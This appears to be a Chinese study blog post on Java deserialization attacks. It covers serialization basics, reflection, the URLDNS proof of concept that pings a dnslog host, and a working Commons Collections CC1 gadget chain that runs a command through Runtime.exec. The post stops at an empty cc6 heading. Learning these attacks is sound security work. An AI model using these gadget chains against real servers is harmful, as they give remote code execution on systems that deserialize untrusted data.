URLDNS
java里的implements
和c++里的那个继承是一个意思,就是会继承前者里的属性和函数。 这篇文章有详细讲 —-> 文章
这篇文章是讲java序列化与反序列化的 挺详细的 java序列化与反序列化
可以来看一下这个视频来学习java反序列和序列化 视频
上面的那篇文章是和下面的视频配套着讲的,也有对下面的代码的介绍
以下是视频中出现的三个java代码
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable{ private String name; private int age; public Person() { } public Person(String name,int age) { this.name=name; this.age=age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ",age=" + age + '}'; } private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException { ois.defaultReadObject();; Runtime.getRuntime().exec("calc"); }
}
|
SerializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.util.HashMap; import java.util.Map; public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception { Person person = new Person("aa",22); serialize(person); } }
|
UnserializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj =ois.readObject(); return obj; } public static void main(String[] args) throws Exception { Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }
|
这里的话为什么java反序列化会产生安全问题?
只要服务端会反序列化数据的话,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式
1.入口类的readObject直接调用危险方法
(1 这里的话就是对person类里的readObject函数进行重写,然后在里面加上一条命令执行的语句)
2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数中包含可控类,该类又调用其他又危险方法的类,readObject时调用
比如类型定义为Object,调用equals/hashcode/toString
重点 相同类型 同名函数
(2 3都是类似套娃一样的,一层套一层的类)
4.构造函数/静态代码块等类加载时隐式执行
1.共同条件 继承Serializable
2.入口类条件 source(重写readObject 参数类型广泛 最好jdk自带) —-> Map HashMap HashTable HashMap为什么要重写readObject
3.调用链 gadget chain 相同名称 相同类型
4.执行类 sink (rce ssrf 写文件等等)
这里的话我是根据这两篇文章来看着跟进的 文章1 文章2 文章三
这两篇文章中写的put函数方法,put函数里的东西就有putVal函数,然后这时候就会进行dns请求,然后hashcode值就会被改变,导致最后readObject里的hash(key)不会进行dns请求
这两篇文章里是利用java的反射来修改 hashcode值
反射的文章
反射
反射的作用:让java具有动态性
修改已有对象的属性
动态生成对象
动态调用方法
操作内部类和私有方法
在反序列化漏洞中的应用:
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过Class类创建对象,引入不能序列化的类
反射学习写的代码 视频 反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class ReflectionTest { public static void main(String[] args) throws Exception
{ Person person = new Person(); Class c = person.getClass();
c.getConstructor(); Constructor personconstructor = c.getConstructor(String.class,int.class); Person p = (Person) personconstructor.newInstance("abc",22);
Field namefield = c.getDeclaredField("age"); namefield.setAccessible(true); namefield.set(p,23); System.out.println(p);
Method actionmethod = c.getDeclaredMethod("action", String.class); actionmethod.setAccessible(true); actionmethod.invoke(p,"ggaa");
} }
|
学习中用到的代码(URLDNS的poc)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://3rzcpr.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0xdeadbeef); hashMap.put(url, "rmb122"); f.set(url, -1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); } }
|
需要jdk8 来进行运行
github上反射的详细文章
这里的知识点对应着web846 payload可以去看羽师傅写的博客
cc链
jdk动态代理
文章 这里就不多写了, 因为这篇文章已经写的很清楚了
视频 这里的话是讲的很明白了 这里有很多都是套路写法
cc1
视频讲解 cc1
cc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.instrument.TransformerManager; import sun.invoke.anon.AnonymousClassLoader; import java.lang.reflect.Method; import java.io.*; import java.lang.Object.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class cc implements Serializable{ public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[] { new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer); chainedTransformer.transform(Runtime.class);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
上面的代码时学习cc1时调试的代码,这里有一个坑就是得先跟着上面的视频进行调试,不然的话会复现不成功。
这里的话由于自己懒 所以用这篇文章来进行学习 文章
(只是写一些我看的时候的见解)
这里虽然传了valueTransformer的值,但是
这个value没有传,所以跟进文章的下一步操作。
这里传transformedMap的原因是因为Map可控
transformedMap在这里的是因为得遍历然后触发setValue();
那两个if绕过的解释
memberValue.getValue();
memberTypes.get(name);
在map修改key名为value的时候,那么get(name)就会调用到Target的value从而能绕过判断
1
| memberType.isInstance(value) 这个的话绕过应该是因为constructor.newInstance(Target.class,transformedMap);这个实例化对象的时候传进来了Target,并且这个里面刚好有value
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<Object, Object>(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin");
|
这个poc链子的顺序就是
InvokerTransformer —> transformers —> transformedMap —> decorate —>checkSetValue —> setValue —> AnnotationInvocationHandler的readObject
这就是整条链子的顺序 里面最重要的方法就是反射
cc6